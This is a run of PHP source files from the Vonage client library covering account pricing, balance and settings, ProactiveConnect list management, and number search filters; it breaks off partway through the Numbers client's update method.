class AbstractRequest implements RequestInterface { /** * @var array */ protected $params = []; public function getParams(): array { return array_filter($this->params, 'is_scalar'); } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Client\Request; interface RequestInterface { public function getParams(): array; public function getURI(): string; } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Client\Request; use Vonage\Client\Response\ResponseInterface; interface WrapResponseInterface { public function wrapResponse(ResponseInterface $response): ResponseInterface; } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Client; use Psr\Http\Message\RequestInterface; use Psr\Http\Message\ResponseInterface; use function is_string; use function json_decode; use function sprintf; class APIExceptionHandler { /** * Format to use for the rfc7807 formatted errors * * @var string */ protected $rfc7807Format = "%s: %s. See %s for more information"; public function setRfc7807Format(string $format): void { $this->rfc7807Format = $format; } /** * @throws Exception\Exception * * @return Exception\Request|Exception\Server */ public function __invoke(ResponseInterface $response, RequestInterface $request) { $body = json_decode($response->getBody()->getContents(), true); $response->getBody()->rewind(); $status = (int)$response->getStatusCode(); // Error responses aren't consistent. Some are generated within the // proxy and some are generated within voice itself. This handles // both cases // This message isn't very useful, but we shouldn't ever see it $errorTitle = 'Unexpected error'; if (isset($body['title'])) { // Have to do this check to handle VAPI errors if (isset($body['type']) && is_string($body['type'])) { $errorTitle = sprintf( $this->rfc7807Format, $body['title'], $body['detail'], $body['type'] ); } else { $errorTitle = $body['title']; } } if (isset($body['error_title'])) { $errorTitle = $body['error_title']; } if (isset($body['error-code-label'])) { $errorTitle = $body['error-code-label']; } if (isset($body['description'])) { $errorTitle = $body['description']; } if ($status >= 400 && $status < 500) { $e = new Exception\Request($errorTitle, $status); @$e->setRequest($request); @$e->setResponse($response); } elseif ($status >= 500 && $status < 600) { $e = new Exception\Server($errorTitle, $status); @$e->setRequest($request); @$e->setResponse($response); } else { $e = new Exception\Exception('Unexpected HTTP Status Code'); throw $e; } return $e; } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage; use Vonage\Client\Exception\Request as RequestException; use Vonage\Client\Exception\Server as ServerException; use Vonage\Client\Exception\Validation as ValidationException; class ApiErrorHandler { /** * @param string|int $statusCode * * @throws RequestException * @throws ServerException * @throws ValidationException */ public static function check(array $body, $statusCode): void { $statusCodeType = (int)($statusCode / 100); // If it's ok, we can continue if ($statusCodeType === 2) { return; } // Build up our error message $errorMessage = $body['title']; if (isset($body['detail']) && $body['detail']) { $errorMessage .= ': ' . $body['detail'] . '.'; } else { $errorMessage .= '.'; } $errorMessage .= ' See ' . $body['type'] . ' for more information'; // If it's a 5xx error, throw an exception if ($statusCodeType === 5) { throw new ServerException($errorMessage, $statusCode); } // Otherwise it's a 4xx, so we may have more context for the user // If it's a validation error, share that information if (isset($body['invalid_parameters'])) { throw new ValidationException($errorMessage, $statusCode, null, $body['invalid_parameters']); } // Otherwise throw a normal error throw new RequestException($errorMessage, $statusCode); } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Account; class VoicePrice extends Price { /** * @var string */ protected $priceMethod = 'getOutboundVoicePrice'; } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Account; use Psr\Container\ContainerInterface; use Vonage\Client\APIResource; use Vonage\Client\Credentials\Handler\BasicHandler; use Vonage\Client\Credentials\Handler\BasicQueryHandler; class ClientFactory { public function __invoke(ContainerInterface $container): Client { /** @var APIResource $accountApi */ $accountApi = $container->make(APIResource::class); $accountApi ->setBaseUrl($accountApi->getClient()->getRestUrl()) ->setIsHAL(false) ->setBaseUri('/account') ->setAuthHandler(new BasicQueryHandler()) ; return new Client($accountApi); } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Account; use Psr\Http\Client\ClientExceptionInterface; use Vonage\Client\APIClient; use Vonage\Client\APIResource; use Vonage\Client\Exception as ClientException; use Vonage\Client\Exception\Request as ClientRequestException; use Vonage\Entity\Filter\KeyValueFilter; use function count; use function is_null; use function json_decode; /** * @todo Unify the exception handling to avoid duplicated code and logic (ie: getPrefixPricing()) */ class Client implements APIClient { public function __construct(protected ?APIResource $accountAPI = null) { } public function getAPIResource(): APIResource { return clone $this->accountAPI; } /** * Returns pricing based on the prefix requested * * @return array<PrefixPrice> */ public function getPrefixPricing($prefix): array { $api = $this->getAPIResource(); $api->setBaseUri('/account/get-prefix-pricing/outbound'); $api->setCollectionName('prices'); $data = $api->search(new KeyValueFilter(['prefix' => $prefix])); if (count($data) === 0) { return []; } // Multiple countries can match each prefix $prices = []; foreach ($data as $p) { $prefixPrice = new PrefixPrice(); $prefixPrice->fromArray($p); $prices[] = $prefixPrice; } return $prices; } /** * Get SMS Pricing based on Country * * @throws ClientExceptionInterface * @throws ClientRequestException * @throws ClientException\Exception * @throws ClientException\Server */ public function getSmsPrice(string $country): SmsPrice { $body = $this->makePricingRequest($country, 'sms'); $smsPrice = new SmsPrice(); $smsPrice->fromArray($body); return $smsPrice; } /** * Get Voice pricing based on Country * * @throws ClientExceptionInterface * @throws ClientRequestException * @throws ClientException\Exception * @throws ClientException\Server */ public function getVoicePrice(string $country): VoicePrice { $body = $this->makePricingRequest($country, 'voice'); $voicePrice = new VoicePrice(); $voicePrice->fromArray($body); return $voicePrice; } /** * @throws ClientRequestException * @throws ClientException\Exception * @throws ClientException\Server * @throws ClientExceptionInterface * * @todo This should return an empty result instead of throwing an Exception on no results */ protected function makePricingRequest($country, $pricingType): array { $api = $this->getAPIResource(); $api->setBaseUri('/account/get-pricing/outbound/' . $pricingType); $results = $api->search(new KeyValueFilter(['country' => $country])); $pageData = $results->getPageData(); if (is_null($pageData)) { throw new ClientException\Server('No results found'); } return $pageData; } /** * Gets the accounts current balance in Euros * * @throws ClientExceptionInterface * @throws ClientException\Exception * @throws ClientException\Server * * @todo This needs further investigated to see if '' can even be returned from this endpoint */ public function getBalance(): Balance { $data = $this->getAPIResource()->get('get-balance', [], ['accept' => 'application/json']); if (is_null($data)) { throw new ClientException\Server('No results found'); } return new Balance($data['value'], $data['autoReload']); } /** * @throws ClientExceptionInterface * @throws ClientException\Exception */ public function topUp($trx): void { $api = $this->getAPIResource(); $api->setBaseUri('/account/top-up'); $api->submit(['trx' => $trx]); } /** * Return the account settings * * @throws ClientExceptionInterface * @throws ClientException\Exception * @throws ClientException\Server */ public function getConfig(): Config { $api = $this->getAPIResource(); $api->setBaseUri('/account/settings'); $body = $api->submit(); if ($body === '') { throw new ClientException\Server('Response was empty'); } $body = json_decode($body, true); return new Config( $body['mo-callback-url'], $body['dr-callback-url'], $body['max-outbound-request'], $body['max-inbound-request'], $body['max-calls-per-second'] ); } /** * Update account config * * @throws ClientExceptionInterface * @throws ClientException\Exception * @throws ClientException\Server */ public function updateConfig(array $options): Config { // supported options are SMS Callback and DR Callback $params = []; if (isset($options['sms_callback_url'])) { $params['moCallBackUrl'] = $options['sms_callback_url']; } if (isset($options['dr_callback_url'])) { $params['drCallBackUrl'] = $options['dr_callback_url']; } $api = $this->getAPIResource(); $api->setBaseUri('/account/settings'); $rawBody = $api->submit($params); if ($rawBody === '') { throw new ClientException\Server('Response was empty'); } $body = json_decode($rawBody, true); return new Config( $body['mo-callback-url'], $body['dr-callback-url'], $body['max-outbound-request'], $body['max-inbound-request'], $body['max-calls-per-second'] ); } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Account; use Vonage\Entity\Hydrator\ArrayHydrateInterface; class Balance implements ArrayHydrateInterface { /** * @var array */ protected array $data; public function __construct($balance, $autoReload) { $this->data['balance'] = $balance; $this->data['auto_reload'] = $autoReload; } public function getBalance() { return $this->data['balance']; } public function getAutoReload() { return $this->data['auto_reload']; } public function fromArray(array $data): void { $this->data = [ 'balance' => $data['value'], 'auto_reload' => $data['autoReload'] ]; } public function toArray(): array { return $this->data; } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Account; use Vonage\Entity\Hydrator\ArrayHydrateInterface; use function is_null; class Config implements ArrayHydrateInterface { /** * @var array<string, mixed> */ protected $data = []; /** * @param string|int|null $max_outbound_request * @param string|int|null $max_inbound_request * @param string|int|null $max_calls_per_second */ public function __construct( ?string $sms_callback_url = null, ?string $dr_callback_url = null, $max_outbound_request = null, $max_inbound_request = null, $max_calls_per_second = null ) { if (!is_null($sms_callback_url)) { $this->data['sms_callback_url'] = $sms_callback_url; } if (!is_null($dr_callback_url)) { $this->data['dr_callback_url'] = $dr_callback_url; } if (!is_null($max_outbound_request)) { $this->data['max_outbound_request'] = $max_outbound_request; } if (!is_null($max_inbound_request)) { $this->data['max_inbound_request'] = $max_inbound_request; } if (!is_null($max_calls_per_second)) { $this->data['max_calls_per_second'] = $max_calls_per_second; } } public function getSmsCallbackUrl(): ?string { return $this->data['sms_callback_url']; } public function getDrCallbackUrl(): ?string { return $this->data['dr_callback_url']; } /** * @return string|int|null */ public function getMaxOutboundRequest() { return $this->data['max_outbound_request']; } /** * @return string|int|null */ public function getMaxInboundRequest() { return $this->data['max_inbound_request']; } /** * @return string|int|null */ public function getMaxCallsPerSecond() { return $this->data['max_calls_per_second']; } public function fromArray(array $data): void { $this->data = [ 'sms_callback_url' => $data['sms_callback_url'], 'dr_callback_url' => $data['dr_callback_url'], 'max_outbound_request' => $data['max_outbound_request'], 'max_inbound_request' => $data['max_inbound_request'], 'max_calls_per_second' => $data['max_calls_per_second'], ]; } public function toArray(): array { return $this->data; } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Account; class SmsPrice extends Price { /** * @var string */ protected $priceMethod = 'getOutboundSmsPrice'; } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Account; use JsonSerializable; use RuntimeException; use Vonage\Entity\EntityInterface; use Vonage\Entity\Hydrator\ArrayHydrateInterface; use Vonage\Entity\JsonResponseTrait; use Vonage\Entity\JsonSerializableInterface; use Vonage\Entity\JsonSerializableTrait; use Vonage\Entity\JsonUnserializableInterface; use Vonage\Entity\NoRequestResponseTrait; use Vonage\Network; use function array_key_exists; use function ltrim; use function preg_replace; use function strtolower; abstract class Price implements EntityInterface, ArrayHydrateInterface { use JsonSerializableTrait; use NoRequestResponseTrait; use JsonResponseTrait; /** * @var array<string, mixed> */ protected $data = []; public function getCountryCode() { return $this->data['country_code']; } public function getCountryDisplayName(): ?string { return $this->data['country_display_name']; } public function getCountryName(): ?string { return $this->data['country_name']; } public function getDialingPrefix() { return $this->data['dialing_prefix']; } public function getDefaultPrice() { if (isset($this->data['default_price'])) { return $this->data['default_price']; } if (!array_key_exists('mt', $this->data)) { throw new RuntimeException( 'Unknown pricing for ' . $this->getCountryName() . ' (' . $this->getCountryCode() . ')' ); } return $this->data['mt']; } public function getCurrency(): ?string { return $this->data['currency']; } public function getNetworks() { return $this->data['networks']; } public function getPriceForNetwork($networkCode) { $networks = $this->getNetworks(); if (isset($networks[$networkCode])) { return $networks[$networkCode]->{$this->priceMethod}(); } return $this->getDefaultPrice(); } public function fromArray(array $data): void { // Convert CamelCase to snake_case as that's how we use array access in every other object $storage = []; foreach ($data as $k => $v) { $k = strtolower(ltrim(preg_replace('/[A-Z]([A-Z](?![a-z]))*/', '_$0', $k), '_')); // PrefixPrice fixes switch ($k) { case 'country': $k = 'country_code'; break; case 'name': $storage['country_display_name'] = $v; $storage['country_name'] = $v; break; case 'prefix': $k = 'dialing_prefix'; break; } $storage[$k] = $v; } // Create objects for all the nested networks too $networks = []; if (isset($data['networks'])) { foreach ($data['networks'] as $n) { if (isset($n['code'])) { $n['networkCode'] = $n['code']; unset($n['code']); } if (isset($n['network'])) { $n['networkName'] = $n['network']; unset($n['network']); } $network = new Network($n['networkCode'], $n['networkName']); $network->fromArray($n); $networks[$network->getCode()] = $network; } } $storage['networks'] = $networks; $this->data = $storage; } public function toArray(): array { return $this->data; } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Account; use Vonage\Client\Exception\Exception as ClientException; class PrefixPrice extends Price { protected $priceMethod = 'getPrefixPrice'; /** * @throws ClientException */ public function getCurrency(): ?string { throw new ClientException('Currency is unavailable from this endpoint'); } } <?php namespace Vonage\ProactiveConnect\Objects; use Vonage\Entity\Hydrator\ArrayHydrateInterface; class SalesforceList extends ListBaseObject implements ArrayHydrateInterface { protected ?string $description = null; protected ?array $tags = null; protected ?array $attributes = null; protected array $datasource = [ 'type' => 'salesforce', 'integration_id' => '', 'soql' => '' ]; public function __construct(protected string $name) { } public function getDescription(): ?string { return $this->description; } public function setDescription(?string $description): SalesforceList { $this->description = $description; return $this; } public function getTags(): ?array { return $this->tags; } public function setTags(?array $tags): SalesforceList { $this->tags = $tags; return $this; } public function getAttributes(): ?array { return $this->attributes; } public function setAttributes(?array $attributes): SalesforceList { $this->attributes = $attributes; return $this; } public function getDatasource(): array { return $this->datasource; } public function fromArray(array $data): static { return $this; } /** * @return string */ public function getName(): string { return $this->name; } public function setName(string $name): SalesforceList { $this->name = $name; return $this; } public function setSalesforceIntegrationId(string $integrationId): SalesforceList { $this->datasource['integration_id'] = $integrationId; return $this; } public function setSalesforceSoql(string $query): SalesforceList { $this->datasource['soql'] = $query; return $this; } public function toArray(): array { if (empty($this->getDatasource()['integration_id'])) { throw new \InvalidArgumentException('integration_id needs to be set on datasource on a Salesforce list'); } if (empty($this->getDatasource()['soql'])) { throw new \InvalidArgumentException('soql needs to be set on datasource on a Salesforce list'); } $returnArray = [ 'name' => $this->getName(), 'datasource' => $this->getDatasource(), 'description' => $this->getDescription() ?: null, 'tags' => $this->getTags() ?: null, 'attributes' => $this->getAttributes() ?: null ]; return array_filter($returnArray, function ($value) { return $value !== null; }); } } <?php namespace Vonage\ProactiveConnect\Objects; use Vonage\Entity\Hydrator\ArrayHydrateInterface; class ManualList extends ListBaseObject implements ArrayHydrateInterface { protected ?string $description = null; protected ?array $tags = null; protected ?array $attributes = null; protected array $datasource = ['type' => 'manual']; public function __construct(protected string $name) { } public function getDescription(): ?string { return $this->description; } public function setDescription(?string $description): ManualList { $this->description = $description; return $this; } public function getTags(): ?array { return $this->tags; } public function setTags(?array $tags): ManualList { $this->tags = $tags; return $this; } public function getAttributes(): ?array { return $this->attributes; } public function setAttributes(?array $attributes): ManualList { $this->attributes = $attributes; return $this; } public function getDatasource(): array { return $this->datasource; } public function fromArray(array $data): static { return $this; } /** * @return string */ public function getName(): string { return $this->name; } public function setName(string $name): ManualList { $this->name = $name; return $this; } public function toArray(): array { $returnArray = [ 'name' => $this->getName(), 'datasource' => $this->getDatasource(), 'description' => $this->getDescription() ?: null, 'tags' => $this->getTags() ?: null, 'attributes' => $this->getAttributes() ?: null ]; return array_filter($returnArray, function ($value) { return $value !== null; }); } } <?php namespace Vonage\ProactiveConnect\Objects; use Vonage\Entity\Hydrator\ArrayHydrateInterface; class ListItem implements ArrayHydrateInterface { public function __construct(protected array $data) { } public function set($name, $value): static { $this->data[$name] = $value; return $this; } public function get(string $name) { return $this->data[$name]; } public function fromArray(array $data): void { $this->data = $data; } public function toArray(): array { return [ 'data' => $this->data ]; } } <?php namespace Vonage\ProactiveConnect\Objects; abstract class ListBaseObject { } <?php namespace Vonage\ProactiveConnect; use Psr\Container\ContainerInterface; use Vonage\Client\APIResource; use Vonage\Client\Credentials\Handler\KeypairHandler; class ClientFactory { public function __invoke(ContainerInterface $container): Client { $api = $container->make(APIResource::class); $api->setIsHAL(false) ->setErrorsOn200(false) ->setAuthHandler([new KeypairHandler()]) ->setBaseUrl('https://api-eu.vonage.com/v0.1/bulk/'); return new Client($api); } }<?php namespace Vonage\ProactiveConnect; use Laminas\Diactoros\Stream; use Vonage\Client\APIClient; use Vonage\Client\APIResource; use Vonage\Entity\IterableAPICollection; use Vonage\ProactiveConnect\Objects\ListBaseObject; use Vonage\ProactiveConnect\Objects\ListItem; class Client implements APIClient { public function __construct(protected APIResource $api) { } public function getAPIResource(): APIResource { return $this->api; } public function getLists(?int $page = null, ?int $pageSize = null): IterableAPICollection { $this->api->setCollectionName('lists'); $lists = $this->api->search(null, '/lists'); $lists->setPageIndexKey('page'); if ($page) { $lists->setPage($page); } if ($pageSize) { $lists->setSize($pageSize); } // This API has the potential to have a lot of data. Defaulting to // Auto advance off, you can override in the return object $lists->setAutoAdvance(false); return $lists; } public function createList(ListBaseObject $request): ?array { return $this->api->create($request->toArray(), '/lists'); } public function getListById(string $id) { return $this->api->get('lists/' . $id); } public function updateList(string $id, ListBaseObject $request): ?array { return $this->api->update('lists/' . $id, $request->toArray()); } public function deleteList(string $id): ?array { return $this->api->delete('lists/' . $id); } public function clearListItemsById(string $id): ?array { return $this->api->create([], '/lists/' . $id . '/clear'); } public function fetchListItemsById(string $id): ?array { return $this->api->create([], '/lists/' . $id . '/fetch'); } public function getItemsByListId(string $id, ?int $page = null, ?int $pageSize = null): IterableAPICollection { $this->api->setCollectionName('items'); $lists = $this->api->search(null, '/lists/' . $id . '/items'); $lists->setPageIndexKey('page'); if ($page) { $lists->setPage($page); } if ($pageSize) { $lists->setSize($pageSize); } // This API has the potential to have a lot of data. Defaulting to // Auto advance off, you can override in the return object $lists->setAutoAdvance(false); return $lists; } public function createItemOnListId(string $id, ListItem $listItem): ?array { return $this->api->create($listItem->toArray(), '/lists/' . $id . '/items'); } public function getListCsvFileByListId(string $id): mixed { return $this->api->get('lists/' . $id . '/items/download', [], ['Content-Type' => 'text/csv'], false); } public function getItemByIdandListId(string $itemId, string $listId) { return $this->api->get('lists/' . $listId . '/items/' . $itemId); } public function updateItemByIdAndListId(string $itemId, string $listId, ListItem $listItem): ?array { return $this->api->update('/lists' . $listId . '/items/' . $itemId, $listItem->toArray()); } public function deleteItemByIdAndListId(string $itemId, string $listId): ?array { return $this->api->delete('lists/' . $listId . '/items/' . $itemId); } public function uploadCsvToList(string $filename, string $listId) { $stream = new Stream(fopen($filename, 'r')); $multipart = [ [ 'name' => 'file', 'contents' => $stream, 'filename' => basename($filename) ] ]; return $this->api->create( [$multipart], '/lists/' . $listId . '/items/import', ['Content-Type' => 'multipart/form-data'] ); } public function getEvents(?int $page = null, ?int $pageSize = null) { $this->api->setCollectionName('events'); $lists = $this->api->search(null, '/events'); $lists->setPageIndexKey('page'); if ($page) { $lists->setPage($page); } if ($pageSize) { $lists->setSize($pageSize); } // This API has the potential to have a lot of data. Defaulting to // Auto advance off, you can override in the return object $lists->setAutoAdvance(false); return $lists; } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Numbers\Filter; use InvalidArgumentException; use Vonage\Client\Exception\Request; use Vonage\Entity\Filter\FilterInterface; use Vonage\Numbers\Number; use function array_key_exists; use function implode; use function is_array; use function strlen; class AvailableNumbers implements FilterInterface { public const SEARCH_PATTERN_BEGIN = 0; public const SEARCH_PATTERN_CONTAINS = 1; public const SEARCH_PATTERN_ENDS = 2; public static array $possibleParameters = [ 'country' => 'string', 'pattern' => 'string', 'search_pattern' => 'integer', 'size' => 'integer', 'index' => 'integer', 'has_application' => 'boolean', 'application_id' => 'string', 'features' => 'string', 'type' => 'string', ]; /** * @var string */ protected $country; /** * @var string */ protected $features; /** * @var int */ protected $pageIndex = 1; /** * @var int */ protected $pageSize = 10; /** * @var string */ protected $pattern; /** * @var int */ protected $searchPattern = 0; /** * @var string */ protected $type; public function __construct(array $filter = []) { foreach ($filter as $key => $value) { if (!array_key_exists($key, self::$possibleParameters)) { throw new Request("Unknown option: '" . $key . "'"); } switch (self::$possibleParameters[$key]) { case 'boolean': $value = filter_var($value, FILTER_VALIDATE_BOOLEAN, FILTER_NULL_ON_FAILURE); if (is_null($value)) { throw new Request("Invalid value: '" . $key . "' must be a boolean value"); } $value = $value ? "true" : "false"; break; case 'integer': $value = filter_var($value, FILTER_VALIDATE_INT); if ($value === false) { throw new Request("Invalid value: '" . $key . "' must be an integer"); } break; default: // No-op, take the value whatever it is break; } } if (array_key_exists('country', $filter)) { $this->setCountry($filter['country']); } if (array_key_exists('size', $filter)) { $this->setPageSize((int)$filter['size']); } if (array_key_exists('index', $filter)) { $this->setPageIndex((int)$filter['index']); } if (array_key_exists('pattern', $filter)) { $this->setPattern($filter['pattern']); if (array_key_exists('search_pattern', $filter)) { $this->setSearchPattern((int)$filter['search_pattern']); } } if (array_key_exists('type', $filter)) { $this->setType($filter['type']); } if (array_key_exists('features', $filter)) { // Handle the old format where we asked for an array if (is_array($filter['features'])) { $filter['features'] = implode(',', $filter['features']); } $this->setFeatures($filter['features']); } } /** * @return int[] */ public function getQuery(): array { $data = [ 'size' => $this->getPageSize(), 'index' => $this->getPageIndex(), ]; if ($this->getCountry()) { $data['country'] = $this->getCountry(); } if ($this->getPattern()) { $data['search_pattern'] = $this->getSearchPattern(); $data['pattern'] = $this->getPattern(); } if ($this->getType()) { $data['type'] = $this->getType(); } if ($this->getFeatures()) { $data['features'] = $this->getFeatures(); } return $data; } public function getCountry(): ?string { return $this->country; } protected function setCountry(string $country): void { if (strlen($country) !== 2) { throw new InvalidArgumentException("Country must be in ISO 3166-1 Alpha-2 Format"); } $this->country = $country; } public function getFeatures(): ?string { return $this->features; } /** * @return $this */ public function setFeatures(string $features): self { $this->features = $features; return $this; } public function getPageIndex(): int { return $this->pageIndex; } /** * @return $this */ public function setPageIndex(int $pageIndex): self { $this->pageIndex = $pageIndex; return $this; } public function getPattern(): ?string { return $this->pattern; } /** * @return $this */ public function setPattern(string $pattern): self { $this->pattern = $pattern; return $this; } public function getSearchPattern(): int { return $this->searchPattern; } /** * @return $this */ public function setSearchPattern(int $searchPattern): self { $this->searchPattern = $searchPattern; return $this; } public function getType(): ?string { return $this->type; } /** * @return $this */ public function setType(string $type): self { // Workaround for code snippets if (empty($type)) { return $this; } $valid = [ Number::TYPE_FIXED, Number::TYPE_MOBILE, Number::TYPE_TOLLFREE, ]; if (!in_array($type, $valid)) { throw new InvalidArgumentException('Invalid type of number'); } $this->type = $type; return $this; } public function getPageSize(): int { return $this->pageSize; } /** * @return $this */ public function setPageSize(int $pageSize): self { $this->pageSize = $pageSize; return $this; } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Numbers\Filter; use InvalidArgumentException; use Vonage\Client\Exception\Request; use Vonage\Entity\Filter\FilterInterface; use function array_key_exists; use function filter_var; use function is_null; use function strlen; class OwnedNumbers implements FilterInterface { public const SEARCH_PATTERN_BEGIN = 0; public const SEARCH_PATTERN_CONTAINS = 1; public const SEARCH_PATTERN_ENDS = 2; public static array $possibleParameters = [ 'country' => 'string', 'pattern' => 'string', 'search_pattern' => 'integer', 'size' => 'integer', 'index' => 'integer', 'has_application' => 'boolean', 'application_id' => 'string', 'features' => 'string' ]; /** * @var string */ protected $applicationId; /** * @var string */ protected $country; /** * @var bool */ protected $hasApplication; /** * @var int */ protected $pageIndex = 1; /** * @var string */ protected $pattern; /** * @var int */ protected $searchPattern = 0; protected int $pageSize = 10; public function __construct(array $filter = []) { foreach ($filter as $key => $value) { if (!array_key_exists($key, self::$possibleParameters)) { throw new Request("Unknown option: '" . $key . "'"); } switch (self::$possibleParameters[$key]) { case 'boolean': $value = filter_var($value, FILTER_VALIDATE_BOOLEAN, FILTER_NULL_ON_FAILURE); if (is_null($value)) { throw new Request("Invalid value: '" . $key . "' must be a boolean value"); } $value = $value ? "true" : "false"; break; case 'integer': $value = filter_var($value, FILTER_VALIDATE_INT); if ($value === false) { throw new Request("Invalid value: '" . $key . "' must be an integer"); } break; default: // No-op, take the value whatever it is break; } } if (array_key_exists('country', $filter)) { $this->setCountry($filter['country']); } if (array_key_exists('size', $filter)) { $this->setPageSize((int)$filter['size']); } if (array_key_exists('index', $filter)) { $this->setPageIndex((int)$filter['index']); } if (array_key_exists('pattern', $filter)) { $this->setPattern($filter['pattern']); if (array_key_exists('search_pattern', $filter)) { $this->setSearchPattern($filter['search_pattern']); } } if (array_key_exists('application_id', $filter)) { $this->setApplicationId($filter['application_id']); } if (array_key_exists('has_application', $filter)) { $this->setHasApplication(filter_var($filter['has_application'], FILTER_VALIDATE_BOOLEAN)); } } /** * @return int[] */ public function getQuery(): array { $data = [ 'size' => $this->getPageSize(), 'index' => $this->getPageIndex(), ]; if ($this->getCountry()) { $data['country'] = $this->getCountry(); } if ($this->getPattern()) { $data['search_pattern'] = $this->getSearchPattern(); $data['pattern'] = $this->getPattern(); } if ($this->getApplicationId()) { $data['application_id'] = $this->getApplicationId(); } if (!is_null($this->getHasApplication())) { // The API requires a string $data['has_application'] = $this->getHasApplication() ? 'true' : 'false'; } return $data; } public function getCountry(): ?string { return $this->country; } protected function setCountry(string $country): void { if (strlen($country) !== 2) { throw new InvalidArgumentException("Country must be in ISO 3166-1 Alpha-2 Format"); } $this->country = $country; } public function getPageIndex(): int { return $this->pageIndex; } /** * @return $this */ public function setPageIndex(int $pageIndex): self { $this->pageIndex = $pageIndex; return $this; } public function getPattern(): ?string { return $this->pattern; } /** * @return $this */ public function setPattern(string $pattern): self { $this->pattern = $pattern; return $this; } public function getSearchPattern(): int { return $this->searchPattern; } /** * @return $this */ public function setSearchPattern(int $searchPattern): self { $this->searchPattern = $searchPattern; return $this; } public function getPageSize(): int { return $this->pageSize; } /** * @return $this */ public function setPageSize(int $pageSize): self { $this->pageSize = $pageSize; return $this; } public function getApplicationId(): ?string { return $this->applicationId; } /** * @return $this */ public function setApplicationId(string $applicationId): self { $this->applicationId = $applicationId; return $this; } public function getHasApplication(): ?bool { return $this->hasApplication; } /** * @return $this */ public function setHasApplication(bool $hasApplication): self { $this->hasApplication = $hasApplication; return $this; } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Numbers; use Psr\Container\ContainerInterface; use Vonage\Client\APIResource; use Vonage\Client\Credentials\Handler\BasicHandler; class ClientFactory { public function __invoke(ContainerInterface $container): Client { /** @var APIResource $api */ $api = $container->make(APIResource::class); $api ->setBaseUrl($api->getClient()->getRestUrl()) ->setIsHAL(false) ->setAuthHandler(new BasicHandler()); return new Client($api); } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Numbers; use Psr\Http\Client\ClientExceptionInterface; use Vonage\Client\APIClient; use Vonage\Client\APIResource; use Vonage\Client\Exception as ClientException; use Vonage\Client\Exception\Exception; use Vonage\Client\Exception\Request; use Vonage\Client\Exception\Server; use Vonage\Client\Exception\ThrottleException; use Vonage\Entity\Filter\FilterInterface; use Vonage\Entity\IterableAPICollection; use Vonage\Numbers\Filter\AvailableNumbers; use Vonage\Numbers\Filter\OwnedNumbers; use function count; use function is_null; use function sleep; use function trigger_error; class Client implements APIClient { public function __construct(protected ?APIResource $api = null) { } public function getApiResource(): APIResource { return $this->api; } /** * @param Number $number * @param string|null $id * * @return Number * @throws ClientExceptionInterface * @throws Exception * @throws Request * @throws Server */ public function update(Number $number, ?string $id = null): Number { if (!is_null($id)) { $update = $this->get($id); } $body = $number->toArray(); if (!isset($update) && !isset($body['country'])) { $data = $this->get($number->getId()); $body['msisdn'] = $data->getId(); $body['country'] = 